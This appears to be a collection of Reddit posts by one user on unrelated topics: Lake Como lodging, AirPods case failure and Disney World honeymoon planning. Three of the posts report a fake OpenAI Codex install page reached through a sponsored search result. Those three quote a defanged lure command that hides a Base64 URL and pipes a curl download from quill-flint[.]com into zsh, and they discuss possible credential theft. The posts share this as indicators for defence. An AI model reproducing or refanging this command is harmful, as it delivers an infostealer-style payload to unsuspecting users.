u/thezyzz

My wife and I are doing a spontaneous mini-honeymoon around Northern Italy next week, and we’re trying to decide where to stay for our 2 nights on Lake Como.

We’ll be arriving from Milan by train on Oct 11, spending Oct 12 exploring the central lake area, and leaving toward Verona on Oct 13. We won’t have a car.

We currently have two options:

Option 1: Stay in Varenna

• Very close to Varenna-Esino station
• Very close to the ferry terminal
• Easy access to Bellagio and Menaggio
• Modern and comfortable apartment
• Very convenient if we want to go back to the room during the day
• But it costs roughly €400 more for the 2 nights
• The apartment has a lake view, but not the kind of direct balcony view we were hoping for, no balcony.

Option 2: Stay in Bellano

• Roughly half the price
• Much nicer apartment for the money
• Private balcony directly overlooking Lake Como
• Bedroom window also faces the lake
• Excellent reviews
• But the apartment is around 15–20 minutes walking from Bellano train station
• Bellano → Varenna seems to be only around 5 minutes by train, but the trains appear to run roughly once per hour

Our thinking with Bellano is that on the morning of our full Lake Como day we would simply walk to Bellano station, take the short train to Varenna, and then spend the entire day doing exactly what we would have done anyway: Varenna → Menaggio → Bellagio → Varenna by ferry.

The main thing we would lose is the convenience of having our accommodation 5 minutes away while exploring Varenna. If we want to go back to the room to rest, change clothes, grab something, etc., Bellano obviously makes that less convenient.

On the other hand, for only one full sightseeing day, we’re wondering whether that convenience is really worth approximately €400 extra, especially when the Bellano apartment itself feels more special for a honeymoon.

For people who know the area well: would you pay the premium to stay in Varenna, or stay in Bellano and accept one short train ride in the morning/evening?

Also curious how annoying the once-per-hour train schedule feels in practice, and whether taxis between Varenna and Bellano are realistically available in the evening if we don’t want to wait for a train.

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

https://preview.redd.it/v31atwx50xjh1.png?width=1108&format=png&auto=webp&s=6cb2d317c7fd455e75c67cec9e33085cf3a888c9

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

Posting this here because it specifically impersonated OpenAI Codex and I think people searching for Codex could easily fall for it.

Today I searched Google for OpenAI Codex. The first result was sponsored, and the ad/result appeared to show a Google URL, but clicking it took me to a Google Pages-hosted page with fake Codex installation instructions.

https://preview.redd.it/kifuy9wfzwjh1.png?width=1160&format=png&auto=webp&s=492af72c976ef6974152d2c86b205e623ccb19c7

https://preview.redd.it/1jj6yu7ezwjh1.png?width=2890&format=png&auto=webp&s=37d915ed7918c73cd7ddf0a1bc3c8c57f9a681a4

I followed the instructions and ran this kind of command:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<base64 encoded URL>" | openssl base64 -d -A) | zsh

The echo part only prints legitimate-looking OpenAI/npm text. The actual payload URL was hidden in Base64 and decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

So the command was really downloading whatever that unrelated server returned and executing it directly in zsh.

I realized shortly afterward what had happened and started checking the Mac.

So far I have found:

• No unknown LaunchAgents or LaunchDaemons
• No suspicious modifications in .zshrc, .bash_profile, or fish config
• No obvious persistent payload under /tmp, /private/tmp, ~/.local, etc.
• No known artifacts from some recent macOS stealer campaigns
• No suspicious persistent process

I also verified that my actual Codex installation is legitimate and unrelated. It was installed through Homebrew before I ran the malicious command, and the binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

The main concern now is whether the malicious script was a one-shot infostealer that could have copied Chrome passwords/cookies, Keychain data, SSH keys, API tokens, etc., uploaded them, and exited without leaving persistence.

Has anyone else seen this fake Codex campaign?

I am especially interested in whether OpenAI is already aware of sponsored Google results / Google Pages being used to impersonate Codex installation pages.

For anyone installing Codex: please verify that you are actually on an official OpenAI source before copying anything into Terminal. A legitimate-looking echo at the beginning of a command means nothing if the rest is piping an unrelated remote server directly into a shell.

I messed up today while trying to install OpenAI Codex on my Mac.

I got into first result on Google, which also was sponsored and looked legit, but in fact it's a google pages hosted website:

https://preview.redd.it/s92ck2fp7xjh1.png?width=1160&format=png&auto=webp&s=e75fbe5a5ce05981db6ef50e9a8187bbc021328f

https://preview.redd.it/kx0veyvr7xjh1.png?width=2890&format=png&auto=webp&s=d323accb7d21b3282e8eccb4689c3f1f68f367be

I ran a command that looked legitimate at first because it printed an npm/OpenAI message, but I realized immediately afterward that the actual command was downloading something from an unrelated domain and piping it directly into zsh.

DO NOT RUN THIS. Defanged version:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<base64 encoded URL>" | openssl base64 -d -A) | zsh

The Base64 URL decodes to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

I ran it today.

A few things I've checked since then:

• LaunchAgents / LaunchDaemons
• cron
• .zshrc, .bash_profile, fish config
• ~/.local, ~/.ssh, /tmp, /private/tmp
• recently created executables
• running suspicious shell/python/node processes
• some known macOS infostealer artifacts

So far I haven't found any unknown LaunchAgent, persistent executable, suspicious shell modification, or obvious malware process.

There was also some confusion around Codex itself, but I verified that my actual Codex binary was installed separately through Homebrew before I ran the malicious command. It's at /opt/homebrew/Caskroom/codex/0.147.0/bin/codex and is properly signed by OpenAI OpCo, LLC, so Codex itself seems unrelated.

What worries me now is one-shot credential theft.

I have a lot of passwords saved in Chrome, plus browser sessions, Keychain data, SSH keys/API tokens, etc.

My understanding is that a stealer could collect this stuff, upload it, clean up after itself and leave very little persistence behind.

Does anyone recognize quill-flint[.]com or this /curl/<id>/<id>.json pattern?

And more importantly:

Is there any useful macOS logging I can inspect now to determine what the downloaded script actually executed or whether it made outgoing POST requests/exfiltrated files?

Would you consider the machine safe after checking persistence, or would you wipe/reinstall macOS anyway?

Any specific IOCs or commands worth checking would be appreciated.

Hey everyone, looking for some advice before I give up on this case.

I have a pair of AirPods that were sitting unused in a drawer for around six months. I originally thought they were first generation, but the Mac shows model number A2031, so I believe they are actually AirPods 2.

airpods details

The AirPods themselves seem completely fine.
They charge to 100% and last around 2.5 to 3 hours when I use them. The problem is entirely with the charging case.

battery status

Here is what happens:

• The case light only turns on when the case is connected to a charger.
• While charging, the light stays orange and never turns green, even after several hours.
• If I press and hold the pairing button while it is plugged in, the light turns white and pairing works.
• As soon as I unplug the case, there is no light at all. Opening the lid or pressing the button does nothing.
• I can only pair the AirPods with a device while the case is connected to power.
• The can still charge the AirPods while the case is connected to a cable.
• I tried resetting them by holding the button until the light flashed amber and then white, but it made no difference.

I connected them to my Mac to check the battery levels.
The AirPods showed 100%, but the case showed 0%, even though it had been connected to power.

The firmware version is also very old: 2D15.
I am wondering whether the dead case battery is preventing the firmware from updating, or whether the old firmware could somehow be causing the incorrect 0% reading.

Could the case still receive a firmware update while connected to power, even if its internal battery is dead? Or does this sound like a completely failed case battery or charging circuit?

Has anyone experienced the same situation?
Is there anything else worth trying, or should I just replace the case?

Hi everyone,

Let’s say the hotel/resort and park tickets are already paid for.

How much should we expect to spend for everything else during around 7 days at Disney World?

I’m mainly trying to estimate things like:

Food and snacks
Drinks
Table-service meals
Tips
Transportation if needed
Genie+/Lightning Lane, if relevant
Anything else first-timers usually forget (I read a suggestion that says we must take memory maker)

We would probably do some quick-service meals, some nicer meals, snacks, maybe a few drinks, and some small souvenirs.

For 2 adults, what would you say is a realistic budget for 7 days, not including the resort and park tickets?

Would something like $1,500 to $2,500 total be reasonable, or should we expect more?

Would love to hear real examples from people who recently went.

Thanks!

Hi everyone,

My wife and I are planning our first ever trip to Walt Disney World, most likely as part of our honeymoon.
This is not the kind of trip we can easily repeat often, and we want to plan it properly.

We are trying to figure out how many nights are recommended for a first Disney World trip.

Right now we are thinking about something around 7 to 8 nights, but I’m not sure if that is too much, just right, or maybe even not enough if we want to enjoy the parks without rushing.

We are also considering doing a split stay.
The idea would be to stay at a more expensive resort, such as Polynesian Village Resort, for a few nights, and then move to another Disney resort for the rest of the trip.

A few questions:

1. For a first Disney World trip, how many nights would you recommend?
2. Is 7 to 8 nights too much, or a good amount?
3. How many park days would you recommend for that length of stay?
4. If doing a split stay, how many nights would you spend at the more expensive resort?
5. How many park tickets would you get for a 8 nights trip? 8 tickets? 6 tickets (because of "rest days")?

We are not trying to go ultra-budget, but we also do not want to waste money just because it is our honeymoon.
We want to spend where it actually improves the trip.

Thanks!

Hi everyone!

My wife and I are planning our honeymoon, and we're hoping to visit Walt Disney World in about a month (mid-August).

Yes... I know it's going to be VERY hot.

Originally, I really wanted to stay at the Polynesian because it's one of those iconic Disney resorts everyone seems to recommend.

But... it's around $1,000 per night, and I'm struggling to understand whether it's actually worth it for us.

Also, I don't really understand the "Magic Ticket - 4 days, 1 park per day."
Why is it limited to one park per day? Is one park really enough for a full day?

Another question is about the length of our stay.
We were thinking about 4 days, but part of me wishes we could stay longer.
At Polynesian prices, though, that's hard to justify.

The funny thing is that my wife absolutely fell in love with Art of Animation.
She loves all the Disney theming there. Personally, I also think it looks much more "Disney" than the Polynesian.

So here's what I'm struggling to understand...

Why is everyone so hyped about the Polynesian?

I know you can watch the MK fireworks from the resort, but if we're planning to spend all day in the parks anyway, we'll probably already be inside Magic Kingdom for the fireworks.

Most days I imagine we'll wake up, have breakfast, head to the parks, stay until closing, and get back to the hotel around 9-10 PM. If that's the case, how much value are we really getting from the resort itself?
We probably won't spend much time at the pool or exploring the hotel.

Art of Animation is about half the price, has incredible Disney theming, and has Skyliner access, which also seems like a huge perk.

So... what am I missing?
Why do so many people consider the Polynesian one of the best Disney resorts?

Finally, would you recommend splitting the stay?
Maybe 2-3 nights at the Polynesian to experience it, then moving to Art of Animation (or another less expensive resort) for the rest of the trip?

I'd really appreciate any advice, especially from people who've stayed at both resorts.

Thanks!